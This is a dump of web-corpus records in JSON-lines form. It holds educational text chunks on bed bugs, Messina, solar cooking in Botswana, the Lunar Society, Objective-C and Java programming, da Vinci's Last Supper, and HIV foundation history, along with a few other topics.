"HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.722612"} {"text": "service. the ohio state university extension office also has a plant and pest diagnostic clinic that can identify it for you. what do i do if i think i have them in my room or apartment? do not try to get rid of them yourself. bug bombs only drive them further into their hiding areas and may make them spread to other rooms. baits, traps and other insecticides don ' t work. it wouldn ' t hurt to vacuum your place really well, but if you do, spread a little talcum powder on the floor first - it suffocates the bugs in the vacuum bag so they don ' t spread elsewhere. washing your sheets and clothes on hot ( 120 \u00b0f ) and drying them for 15 minutes is sufficient to kill them. if you live in a dorm, contact your ra or hall director who can contact facilities management to assess the situation and coordinate pest control contractors. if you live in off - campus housing, contact your landlord to have the situation evaluated. what can i do to avoid getting them? - never buy used mattresses - remove clutter as much as possible, especially under the bed. using plastic, under - bed storage containers with lids is a good idea - put mattress and box springs in bed bug resistant encasements - vacuum regularly - when you move into a new apartment or dorm, checking the mattress seams and baseboards isn ' t too paranoid. some people even keep their luggage in the bathroom when they stay in hotels john a. vaughn, md student health services the ohio state university", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.413188319908544, "token_count": 308, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.723279"} {"text": "print this page messina, with a population of about 270, 000, is the third largest city on the island of sicily, italy and the capital of the province of messina. it is located at 38\u00b011 \u2019 24 n, 15\u00b033 \u2019 0 e, near the north - east corner of sicily, at the strait of messina. inhabitants of messina in italian are referred to as messinesi or poetically peloritani. founded by greek colonists in the 8th century bc, messina was originally called zancle ( scythe ) because of the shape of its natural harbour. in the early 5th century, anaxilas of rhegium renamed it messene in honor of the greek city messene. the city was sacked in 396 bc by the carthaginians, then reconquered by dionysius i of syracuse. at the end of the first punic war it was a free city allied with rome. in roman times messina, then known as messana, had an important pharos ( lighthouse ). messana was the base of sextus pompeius, during his war against octavian. after the fall of the roman empire, the city was successively conquered by the goths, followed by the byzantine empire in 535, the arabs in 842, and in 1061 by the norman brothers robert guiscard and roger guiscard ( later count roger i of sicily ). messina was most likely the harbor at which the black death entered europe in the middle ages. the city was almost entirely destroyed by an earthquake and tsunami on the morning of december 28, 1908, killing over 75, 000 people and destroying most of the ancient architecture. in june 1955, messina was the location of the conference of western european foreign ministers which led to the creation of the european economic community. how to get there there are several hourly ferries to villa san giovanni on the mainland and also several hydrofoils each day to reggio di calabria. messina is sicily \u2019 s link to the main italian train network. long distance trains from rome and naples cross the straits of messina by ferry and continue on to palermo and catania. regular regional trains also run to milazzo, cefalu, taormina and syracuse. long - distance buses stop in messina, linking rome and naples to catania and palermo. regular buses also run to taormina and milazzo ( for the aeolian islands ). sights & activities the 12th century cathedral of messina contains the remains of conrad, king of", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.41326599466511754, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.731395"} {"text": "messina, linking rome and naples to catania and palermo. regular buses also run to taormina and milazzo ( for the aeolian islands ). sights & activities the 12th century cathedral of messina contains the remains of conrad, king of germany and sicily in the 13th century. after the quake of 1908, the cathedral was rebuilt in 1919 / 1920 ; after a fire in 1943 it had to be rebuilt again. the church of the \u201c annunziata dei catalani \u201d stands on one of the most historically important sites of the straits. nearby, there was once the byzantine shipyard, guarded by the fortress of castellamare. the church was built between 1150 and 1200 on the remains of a pagan temple dedicated to neptune. it is an interesting example of how various architectural styles were added to a late byzantine construction typical of those built by the basilian order of monks. in 1957 a 220kv - overhead power - line was built across the strait of messina. at the time of its construction, its two pylons were the highest in the world. this power - line has since been replaced by an underwater cable, but the pylons still remain, protected as historical monuments. the typical messina breakfast, especially during the summer, is a glass of frozen coffee or strawberry \u201c granita \u201d topped with whipped cream and accompained by a soft brioche. at lunch, you can try \u201c la pasta \u2018 ncaciata \u201d ( pasta, meat and melted cheese with boiled eggs ). alternatively, try swordfish or in the poorer but equally tasty version \u201c la ghiotta di piscistoccu \u201d, stockfish - fillets slowly baked in a rich sauce of tomatoes, potatoes, capers and herbs. among the snacks : focaccia farcita ( thin pizza crust with different ingredients on top ), and arancini di riso ( deep - fried rice balls filled with meat - sauce or butter ). simple family - run establishment, reminiscent of the late 19th century, with period style furniture typical from the strait. address : via xxvii luglio 38 \u2013 98124 messina tel. : ( 090 ) 293 48 65 le due sorelle this restaurant offers a quiet atmosphere, with a cosy dining room, wooden tables and a very respectable wine list. address : piazza del municipio 4 \u2013 i \u2013 98122 messina tel. : ( 090 ) 447 20 at focacceria famulari, a local favorite", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39523823828516524, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.732656"} {"text": "recent news and developments - august 2008 : the re - botswana renewable energy - based rural electrification project is a collaborative project between the government of botswana, united nations development programme ( undp ) and the global environment facility ( gef ) with botswana power corporation as the implementing agency. the programme aims to remove barriers to the utilization of renewable and clean energy in botswana. a key output of this strategy is to develop bpc lesedi, a rural energy services company, for the commercial provision of basic energy services including solar electricity and efficient cooking appliances. the efficient cooking appliances will be offered to an estimated 50, 000 rural households. in some cases they will be combined with a small solar electric system as part of an affordable energy package designed to meet the basic energy needs of the rural customer. the following two efficient cooking appliances will be offered : - hot bag - being a thermally insulated bag or portable container designed to retain the heat of cooked food or hot water. typically, a cooking pot is taken directly from the fire or stove and placed in the bag. the insulation of the bag maintains the temperature of the pot which for some foods is sufficient to complete the cooking process. using the retained heat in this way can reduce the amount of wood fuel required. see heat - retention cooking. - the re - botswana project, in collaboration with the botswana power corporation is in the process of identifying companies interested in the supply and / or design and manufacturing of efficient wood stoves and hot bags for rural households. \" the history of solar cooking in botswana at the world meeting held under unesco auspices in varese, italy, a representative of the botswana ministry of minerals, energy and water affairs was present to make a presentation, describing that government ' s plans for a national solar cooking programme. in this country, fuelwood is the dominant household energy source in rural areas. while originally it was considered as a \" free \" commodity, increasingly people need to purchase wood that is ever more scare and expensive. according to r. fagbenle, director of energy affairs in the ministry, woody biomass supplies 70 % of the country ' s energy, almost entirely fuelwood for cooking. less fuelwood is used in the urban area. the nation is increasingly aware of the problem of deforestation, which requires people to travel farther and farther to locate fuel sources. the solar cooking program planned to begin with a pilot program involving two communities, one urban, one rural. the overall objectives of the program were ambitious, including the distribution of 550, 000 cookers over four years. to", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5365951661855467, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.740534"} {"text": "farther to locate fuel sources. the solar cooking program planned to begin with a pilot program involving two communities, one urban, one rural. the overall objectives of the program were ambitious, including the distribution of 550, 000 cookers over four years. to date, no information has been located on the success, or indeed the implementation, of the program. climate, culture, and special considerations in this country, fuelwood is the dominant household energy source in rural areas. while originally it was considered as a \" free \" commodity, increasingly people need to purchase wood that is ever more scare and expensive. according to r. fagbenle, director of energy affairs in the ministry, woody biomass supplies 70 % of the country ' s energy, almost entirely fuelwood for cooking. less fuelwood is used in the urban area. the nation is increasingly aware of the problem of deforestation, which requires people to travel farther and farther to locate fuel sources. - discussion of southern africa ' s suitability for solar cooking - solar cooker dissemination and cultural variables - adapting to an innovation : solar cooking in the urban households of ouagadougou ( burkina faso ), author : hilde m. toonen in : physics and chemistry of the earth, parts a / b / c, volume 34, issues 1 - 2, sustainable water solutions, 2009, pages 65 - 71, issn 1474 - 7065, doi : 10. 1016 / j. pce. 2008. 03. 006. ( most households in sub - saharan africa rely on wood as primary energy source. the availability of wood is decreasing and deforestation is a major ecological problem in sub - saharan africa. the scarcity of wood is demanding for a sustainable solution. the sun seems to provide a good alternative. solar energy is free, without unhealthy smoke or chances to burns. the idea of using solar energy for cooking is not new : many different techniques have already been tested. most variants are expensive, and therefore not available for most families in sub - saharan africa. a cheap solar cooking device is the cookit, a cardboard panel cooker covered with aluminium foil. in the adaptation to the cookit, as to all innovations, it is important that the users are convinced of the advantages. an important step in the adaptation process is learning how to use the cooking device ; the best way to do this is by home practice. monitoring and evaluating the real use is needed, for it is interesting to know if the cookit is actually used, and also to find out", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4861288706962179, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.741596"} {"text": "adaptation process is learning how to use the cooking device ; the best way to do this is by home practice. monitoring and evaluating the real use is needed, for it is interesting to know if the cookit is actually used, and also to find out how women have implemented the new technique in their kitchens. in 2005, the supo foundation started a project in burkina faso : programme energie solaire grand - ouaga ( pesgo ). the aim of pesgo is to introduce the cookit in the urban households in ouagadougou by providing training sessions and home assistance. in this paper, a mid - term review on this small - scale cooking project is presented. the possibilities and challenges of solar cooking are outlined, taking the urban context of ouagadougou in account. in pesgo, dependence on weather conditions is found to be one of the challenges : if sunrays are blocked by clouds or dust in the air, the cooking will be slowed down. the cookit cannot replace firewood entirely, and a complementary element has to be found. supo is exploring the use of jatropha oil as a complement to the cookit. the jatropha plant is drought tolerant and its fruits contain oil which can be used as fuel substitute. further research on its use is interesting, because the combination of the cookit and jatropha oil seems to have high potential in the kitchens of west - africa. articles in the media - october 2008 : reflector cooker eases pangs of cooking - botswana press agency ( bopa ) - june 2008 : solar power project in progress - botswana press agency ( bopa ) - november 2007 : botswana : cooking with the sun - the voice non - governmental organizations ( ngos ) manufacturers and vendors", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5062921201943602, "token_count": 359, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.742417"} {"text": "science before the twentieth century wasn \u2019 t done by \u201c scientists. \u201d there was no such word. there were educated amateurs and self - taught tinkerers, building their own labs in search of discovery or a patent. and so there wasn \u2019 t such a distinction between science and culture \u2014 the smart set went to \u201c electrical parties \u201d to see demonstrations of the newly discovered force. ben franklin wrote, a turkey is to be killed for dinner by the electric shock, and roasted by the electric jack, before a fire kindled by the electrified bottle ; when the healths of all the famous electricians of england, france, holland, and germany are to be drunk in electrified bumpers, under the discharge of guns from the electrified battery. the best example of the public nature of science in enlightenment england was the lunar society, a club of industrialists, natural philosophers, and intellectuals that met in birmingham at the full moon between 1765 and 1813. the port and talk flowed. joseph priestley was a regular member : a self - taught chemist, political radical and unitarian minister, he discovered oxygen and its necessity for animal life, invented seltzer water, and supported the american and french revolutions. also a \u201c lunatick \u201d was josiah wedgwood, the great ceramics industrialist and founding member of the society for the abolition of the slave trade. james watt, the inventor of the modern steam engine, attended meetings regularly. thomas jefferson and benjamin franklin visited occasionally ; antoine lavoisier corresponded with society members ; john smeaton, the father of civil engineering, and joseph wright, the painter of the industrial revolution, were also regulars. the lunar society believed in argument and cooperation. they had long discussions about why thunder rumbles and decided the best way to test their various theories was by experiment. boulton made a 5 - foot - diameter balloon from varnished paper, and they filled it with a terrifying mixture of air and hydrogen ( \u201c inflammable air from iron \u201d ). they lit a fuse underneath, released the balloon into the night sky on a calm, clear evening and waited for the bang. unfortunately, the fuse was rather long, and they all assumed it must have gone out ; so they began to talk among themselves, when there was a colossal explosion, and they all said, \u201c there it goes! \u201d and forgot to listen for the rumble! watt was at home 3 miles away and wrote that the bang was \u201c instantaneous, and lasted about one second. \u201d this seems self - contradictory, but in any case, the", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.54897499246948, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.751497"} {"text": "in your interface, you can formally declare an instance variable between the braces, or via @ property outside the braces, or both. either way, they become attributes of the class. the difference is that if you declare @ property, then you can implement using @ synthesize, which auto - codes your getter / setter for you. the auto - coder setter initializes integers and floats to zero, for example. if you declare an instance variable, and do not specify a corresponding @ property, then you cannot use @ synthesize and must write your own getter / setter. you can always override the auto - coded getter / setter by specifying your own. this is commonly done with the managedobjectcontext property which is lazily loaded. thus, you declare your managedobjectcontext as a property, but then also write a - ( nsmanagedobjectcontext * ) managedobjectcontext method. recall that a method, which has the same name as an instance variable / property is the \" getter \" method. the @ property declaration method also allows you other options, such as retain and readonly, which the instance variable declaration method does not. basically, ivar is the old way, and @ property extends it and makes it fancier / easier. you can refer to either using the self. prefix, or not, it doesn ' t matter as long as the name is unique to that class. otherwise, if your superclass has the same name of a property as you, then you have to say either like self. name or super. name in order to specify which name you are talking about. thus, you will see fewer and fewer people declare ivars between the braces, and instead shift toward just specifying @ property, and then doing @ synthesize. you cannot do @ synthesize in your implementation without a corresponding @ property. the synthesizer only knows what type of attribute it is from the @ property specification. the synthesize statement also allows you to rename properties, so that you can refer to a property by one name ( shorthand ) inside your code, but outside in the. h file use the full name. however, with the really cool autocomplete that xcode now has, this is less of an advantage, but is still there. hope this helps clear up all the confusion and misinformation that is floating around out there.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47872054201236225, "token_count": 503, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.755335"} {"text": "i am going through effective java and some of my things which i consider as standard are not suggested by the book, for instance creation of object, i was under the impression that constructors are the best way of doing it and books says we should make use of static factory methods, i am not able to few some advantages and so disadvantages and so am asking this question, here are the benefits of using it. - one advantage of static factory methods is that, unlike constructors, they have names. - a second advantage of static factory methods is that, unlike constructors, they are not required to create a new object each time they \u2019 re invoked. - a third advantage of static factory methods is that, unlike constructors, they can return an object of any subtype of their return type. - a fourth advantage of static factory methods is that they reduce the verbosity of creating parameterized type instances. - the main disadvantage of providing only static factory methods is that classes without public or protected constructors cannot be subclassed. - a second disadvantage of static factory methods is that they are not readily distinguishable from other static methods. reference : effective java, joshua bloch, edition 2, pg : 5 - 10 i am not able to understand the fourth advantage and the second disadvantage and would appreciate if someone can explain those points. i would also like to understand how to decide to use whether to go for constructor or static factory method for object creation.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47760874036051765, "token_count": 294, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.757588"} {"text": "rome - - it ' s a new da vinci code, but this time it could be for real. an italian musician and computer technician claims to have uncovered musical notes encoded in leonardo da vinci ' s \" last supper, \" raising the possibility that the renaissance genius might have left behind a somber composition to accompany the scene depicted in the 15th - century wall painting. \" it sounds like a requiem, \" giovanni maria pala said. \" it ' s like a soundtrack that emphasizes the passion of jesus. \" painted from 1494 to 1498 in milan ' s church of santa maria delle grazie, the \" last supper \" vividly depicts a key moment in the gospel narrative : jesus ' last meal with the 12 apostles before his arrest and crucifixion, and the shock of christ ' s followers as they learn that one of them is about to betray him. pala, a 45 - year - old musician who lives near the southern italian city of lecce, began studying leonardo ' s painting in 2003, after hearing on a news program that researchers believed the artist and inventor had hidden a musical composition in the work. \" afterward, i didn ' t hear anything more about it, \" he said in an interview with the associated press. \" as a musician, i wanted to dig deeper. \" in a book released friday in italy, pala explains how he took elements of the painting that have symbolic value in christian theology and interpreted them as musical clues. pala first saw that by drawing the five lines of a musical staff across the painting, the loaves of bread on the table as well as the hands of jesus and the apostles could each represent a musical note. this fit the relation in christian symbolism between the bread, representing the body of christ, and the hands, which are used to bless the food, he said. but the notes made no sense musically until pala realized that the score had to be read from right to left, following leonardo ' s particular writing style. in his book \" la musica celata \" ( \" the hidden music \" ) pala also describes how he found what he says are other clues in the painting that reveal the slow rhythm of the composition and the duration of each note. the result is a 40 - second \" hymn to god \" that pala said sounds best on a pipe organ, the instrument most commonly used in leonardo ' s time for spiritual music. a short segment taken from a cd of the piece contained a bach - like passage played on the organ. the tempo was almost", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43693663101645425, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.764699"} {"text": "that pala said sounds best on a pipe organ, the instrument most commonly used in leonardo ' s time for spiritual music. a short segment taken from a cd of the piece contained a bach - like passage played on the organ. the tempo was almost painfully slow but musical. alessandro vezzosi, a leonardo expert and the director of a museum dedicated to the artist in his hometown of vinci, said he had not seen pala ' s research but that the musician ' s hypothesis \" is plausible. \" vezzosi said previous research has indicated the hands of the apostles in the painting can be substituted with the notes of a gregorian chant, though so far no one had tried to work in the bread loaves. \" there ' s always a risk of seeing something that is not there, but it ' s certain that the spaces ( in the painting ) are divided harmonically, \" he told the ap. \" where you have harmonic proportions, you can find music. \" vezzosi also noted that though leonardo was more noted for his paintings, sculptures and visionary inventions, he was also a musician. da vinci played the lyre and designed various instruments. his writings include some musical riddles, which must be read from right to left. reinterpretations of the \" last supper \" have popped up ever since \" the da vinci code \" fascinated readers and movie - goers with suggestions that one of the apostles sitting on jesus ' right is mary magdalene, that the two had a child and that their bloodline continues. pala stressed that his discovery does not reveal any supposed dark secrets of the catholic church or of leonardo, but instead shows the artist in a light far removed from the conspiratorial descriptions found in fiction. \" a new figure emerges he wasn ' t a heretic like some believe, \" pala said. \" what emerges is a man who believes, a man who really believes in god. \" on the net : pala ' s site ( in italian ), http : / / www. lamusicacelata. it official site for the \" last supper, \" http : / / www. cenacolovinciano. it", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4667958651654334, "token_count": 439, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.766612"} {"text": "if we had no moon dvd sku id # 84846 in the if we had no moon dvd, scientists discuss how a rogue planet crashed into the earth millions of years ago. the outcome : the moon. in a moon and earth dvd, watch as scientists use state - of - the - art simulations to show the collision and discuss how everything around us would be different. or more likely, nonexistent. if we had no moon dvd, consider what life on earth would be like without the moon? well, chances are, there wouldn ' t be any life on earth without the moon. in an earth dvd, life if it had started at all would still be in the earliest stages of evolution. scientists use the latest computer simulations to show how an ancient rogue planet orpheus collided with the earth millions of years ago, producing a sizable chunk of debris that eventually became our moon. watch in the universe dvd, how if that collision had never occurred, we would live in a very different place. imagine a moon - less weather report blizzards over the sahara, flood waters swallowing the pyramids, 90 degree temperatures in antarctica. in if we had no moon dvd, as the earth wobbles on its axis unsecured by the moon ' s gravitational pull the polar caps would grow and recede at frightening rates. and without the moon, our planet would spin much faster meaning four - hour days and searing temperatures. worse yet, in the earth dvd, evidence reveals that we are in fact losing our grip on our lunar friend thanks to the ebb and flow of the oceans ' tides. experts reveal theories for salvaging the moon including hijacking europa from jupiter and demonstrate how we can prepare ourselves for our eventual life without it. shop for a fascinating moon dvd and delve into the possibility that life as we know it, is a direct affect of an ancient planetary collision that produced the moon, which affects weather, gravitational pull and much, much more.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47604669301107655, "token_count": 398, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.770235"} {"text": "elizabeth glaser contracts hiv through a blood transfusion during childbirth. elizabeth and her husband, paul glaser, later learn that she unknowingly passed the virus to her children, ariel and jake. the pediatric aids foundation is created by elizabeth and her two friends, susie zeegen and susan delaurentis, after ariel loses her battle with aids at age 7. elizabeth and paul glaser ask the u. s. congress to provide funding to test hiv drugs in children. while azt, a promising drug treatment, had already been approved by the fda, its potential impact on children was still unknown due to a lack of research. this, in addition to the glasers ' early wins at securing research funding, set the stage for the foundation ' s global leadership in research. professional basketball player earvin \u201c magic \u201d johnson announces he has hiv and retires from the nba. he credits elizabeth glaser with giving him the courage to speak out. elizabeth glaser passes away from aids - related illnesses. the foundation is renamed in her memory and rededicates itself to eliminating hiv and aids. almost twenty years later, pediatric aids is virtually eliminated in the united states and elizabeth ' s legacy lives on in those who are fighting to eliminate this disease around the world. as a global \u201c go - to \u201d leader, the foundation committed to achieving the same results in the rest of the world with the call to action ( cta ) project, supporting successful prevention of mother - to - child transmission of hiv ( pmtct ) services in cameroon, kenya, rwanda, south africa, thailand, and uganda. by 2010, cta had enabled the foundation to reach nearly 4 million women with pmtct services. the foundation initiates project heart, a public - private partnership to expand access to hiv care and treatment programs in cote d \u2019 ivoire, south africa, tanzania, and zambia. project heart \u2019 s original goal was to reach 2 million people with antiretroviral therapy by 2008. the foundation far surpassed that goal and continues its work in these countries, as well as 12 others around the world. the foundation helps renew the president \u2019 s emergency plan for aids relief ( pepfar ), authorizing $ 48 billion in global health programs. initially launched in 2003, pepfar revolutionized funding for aids programs and allowed the foundation \u2019 s global work and reach to expand dramatically. the foundation remains committed to the elimination of pediatric aids, working in 16 of the most severely affected countries and more than 5,", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48410717229796485, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.776604"} {"text": "in 2003, pepfar revolutionized funding for aids programs and allowed the foundation \u2019 s global work and reach to expand dramatically. the foundation remains committed to the elimination of pediatric aids, working in 16 of the most severely affected countries and more than 5, 500 sites around the world. the foundation has reached nearly 12. 2 million women with pmtct services. nearly a quarter of all hiv - positive pregnant women worldwide who receive medicines to prevent transmission of hiv to their babies do so through foundation - supported programs. still, an urgent need remains. only 52 % of hiv - positive mothers - to - be have access to critical pmtct services. 2015 marks the goal of ending pediatric aids in zimbabwe, lesotho, and swaziland. announced in 2011, these campaigns notably recognize the elizabeth glaser pediatric aids foundation as a leading implementation partner that will be integral to reaching this milestone. jake glaser was not even two years old when he was diagnosed hiv - positive in 1986. his mother, elizabeth glaser, had contracted the virus five years earlier through a contaminated blood transfusion. she unknowingly passed the virus to jake while pregnant and to his older sister, ariel, through her breast milk. today, jake is 26 years old and healthy. \" thanks to my mom and the work of many others, i am able to lead a normal and productive life, \" he says. elizabeth ' s relentless advocacy made sure that jake - and other children living with hiv - could have access to lifesaving pediatric hiv treatments and medicines. \" but, \" jake says, \" the truth is there are still so many kids, many of them my close friends, who are not as lucky. the truth is we are far from done in the fight against aids, and there are a lot of kids out there who need our help in order to survive. \" dr. kassaye was an adolescent when the first cases of hiv were diagnosed in her native ethiopia. she saw the toll the growing epidemic took on friends and loved ones firsthand. \u201c everyone knew someone who was affected, \u201d she says. \u201c there was a lot of fear and sadness. \u201d those experiences stayed with dr. kassaye after she moved tothe u. s. for college and medical school. \u201c i wanted to focus on research that directly supports hiv / aids program implementation, \u201d she says. \u201c i wanted to bring innovations into practice. \u201d dr. kassaye \u2019 s work at the foundation allows her to do just that. she works on", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4163190016261362, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.777759"} {"text": "i wanted to focus on research that directly supports hiv / aids program implementation, \u201d she says. \u201c i wanted to bring innovations into practice. \u201d dr. kassaye \u2019 s work at the foundation allows her to do just that. she works on operations and clinical research, collaborating with staff in the field to identify and solve challenges in the implementation of health programs and to research new tools and technologies that will mean better health for babies and mother around the world. dr. kassaye also works in a low - income health clinic in washington, d. c., a city with one of the highest rates of hiv infection in the u. s. as a mother, this work is especially important to dr. kassaye. \u201c i see young pregnant women, and i enjoy working with them one - on - one. i will do anything to make sure their babies are born healthy. to me, even one baby born with hiv is a failure. \u201d in september 1996, florence gave birth to her daughter nomthunzi. three months later, florence \u2019 s husband died, and nomthunzi had become ill. fearing the worst, florence took nomthunzi to a local hospital. both she and florence tested positive for hiv. nomthunzi fought the disease for several more weeks, but because antiretroviral treatment was not yet available for children in south africa, she passed away in february 1997. a few years later, florence was introduced to the lifesaving treatments and services being offered by clinics supported by the elizabeth glaser pediatric aids foundation. finding \u201c the foundation, for me, was a highlight of my life, \u201d she says. \u201c i knew that for the first time, there was someone who cared. \u201d through foundation - supported prevention of mother - to - child transmission treatments, florence gave birth to an hiv negative baby. today, four - year - old alex remains hiv - free and continues to thrive. florence is healthy as well, pursuing her degree and speaking out on behalf of women and children with aids as a foundation ambassador.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43339320754712063, "token_count": 419, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.780045"} {"text": "| wg 1 introduction | the backlog in sanitation normally refers to the low coverage of sanitation infrastructure, but is also rooted in the huge lack of capacity at all levels. thus, capacity development for more sustainable practices in sanitation is urgently needed especially due to the system complexity resulting from the many sectors and authority levels involved. the potential benefits of sustainable sanitation systems in terms of health, improved livelihood, environmental protection, water savings, simplicity, nutrient recovery and energy savings need to be conveyed to all stakeholders. governments need to be aware of the importance and the benefits of sustainable sanitation. so as to show leadership, to plan for and allocate the resources required, and to allow the creation of an enabling environment across sectors - health, infrastructure, water, environment, agriculture, and education. the civil society needs to have the capacities to ensure that sustainable sanitation is put on the local political and development agenda. local governments, planners and the private sector need technical and managerial capacities in order to implement sustainable sanitation. furthermore, university curricula need to be developed to build up professional capacity in sustainable sanitation. this working group aims to create a global network to strategically accelerate and influence the capacity development process in the sanitation sector. the working group has produced a factsheet and a resource dvd for capacity development, with available resources collected from its partner network. the working group supports curricula development initiatives aiming to enhance the ability of academics and professionals across disciplines to contribute to the mainstreaming and up - scaling of sustainable sanitation. an important task of the working group is to collect and update information on training courses and training institutions for sustainable sanitation issues ( see the last section in the factsheet for examples and contact details ). furthermore, regional capacity development networks, knowledge nodes, online courses and discussion fora in several languages are supported. the working group sees itself as a focal point and networking opportunity for anyone or any organisation which seeks to become active in capacity development for sustainable sanitation. key considerations of the group are to foster knowledge management and knowledge sharing, to use open - source approaches for sharing of course materials, and to optimise the use of the opportunities offered nowadays by the internet for capacity development.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46514180953091394, "token_count": 438, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.783600"} {"text": "agricultural engineering \u2013 ag matrices and determinants, systems of linear equations, eigen values and eigen vectors. limit, continuity and differentiability ; partial derivatives ; maxima and minima ; sequences and series ; test for convergence ; fourier series. gradient ; divergence and curl ; line ; surface and volume integrals ; stokes, gauss and green \u2019 s theorems. linear and non - linear first order odes ; higher order linear odes with constant coefficients ; cauchy \u2019 s and euler \u2019 s equations ; laplace transforms ; pdes - - laplace, heat and wave equations. probability and statistics : mean, median, mode and standard deviation ; random variables ; poisson, normal and binomial distributions ; correlation and regression analysis. solutions of linear and non - linear algebraic equations ; integration of trapezoidal and simpson \u2019 s rule ; single and multi - step methods for differential equations. farm machinery and power sources of power on the farm - human, animal, mechanical, electrical, wind, solar and biomass ; bio - fuels ; design and selection of machine elements - gears, pulleys, chains and sprockets and belts ; overload safety devices used in farm machinery ; measurement of force, torque, speed, displacement and acceleration on machine elements. soil tillage ; forces acting on a tillage tool ; hitch systems and hitching of tillage implements ; mechanics of animal traction ; functional requirements, principles of working, construction and operation of manual, animal and power operated equipment for tillage, sowing, planting, fertilizer application, inter - cultivation, spraying, mowing, chaff cutting, harvesting, threshing and transport ; testing of agricultural machinery and equipment ; calculation of performance parameters - field capacity, efficiency, application rate and losses ; cost analysis of implements and tractors thermodynamic principles of i. c. engines ; i. c. engine cycles ; engine components ; fuels and combustion ; lubricants and their properties ; i. c. engine systems - fuel, cooling, lubrication, ignition, electrical, intake and exhaust ; selection, operation, maintenance and repair of i. c. engines ; power efficiencies and measurement ; calculation of power, torque, fuel consumption, heat load and power losses. tractors and power tillers - type, selection, maintenance and repair ; tractor clutches and brakes ; power transmission systems - gear trains, differential, final drives and power take - off ; mechanics of tractor chassis ; traction theory ; three point hitches", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5845410421739161, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.789133"} {"text": "losses. tractors and power tillers - type, selection, maintenance and repair ; tractor clutches and brakes ; power transmission systems - gear trains, differential, final drives and power take - off ; mechanics of tractor chassis ; traction theory ; three point hitches - free link and restrained link operations ; mechanical steering and hydraulic control systems used in tractors ; human engineering and safety in tractor design ; tractor tests and performance. soil and water conservation engineering ideal and real fluids, properties of fluids ; hydrostatic pressure and its measurement ; hydrostatic forces on plane and curved surface ; continuity equation ; bernoulli \u2019 s theorem ; laminar and turbulent flow in pipes, darcy - weisbach and hazen - williams equations, moody \u2019 s diagram ; flow through orifices and notches ; flow in open channels. engineering properties of soils ; fundamental definitions and relationships ; index properties of soils ; permeability and seepage analysis ; shear strength, mohr \u2019 s circle of stress, active and passive earth pressures ; stability of slopes. hydrological cycle ; meteorological parameters and their measurement, analysis of precipitation data ; abstraction from precipitation ; runoff ; hydrograph analysis, unit hydrograph theory and application ; stream flow measurement ; flood routing, hydrological reservoir and channel routing. measurement of distance and area ; chain surveying, methods of traversing ; measurement of angles and bearings, plane table surveying ; types of levelling ; contouring ; instruments for surveying and levelling ; computation of earth work. mechanics of soil erosion, soil erosion types ; wind and water erosion ; factors affecting erosion ; soil loss estimation ; biological and engineering measures to control erosion ; terraces and bunds ; vegetative waterways ; gully control structures, drop, drop inlet and chute spillways ; earthen dams ; water harvesting structures, 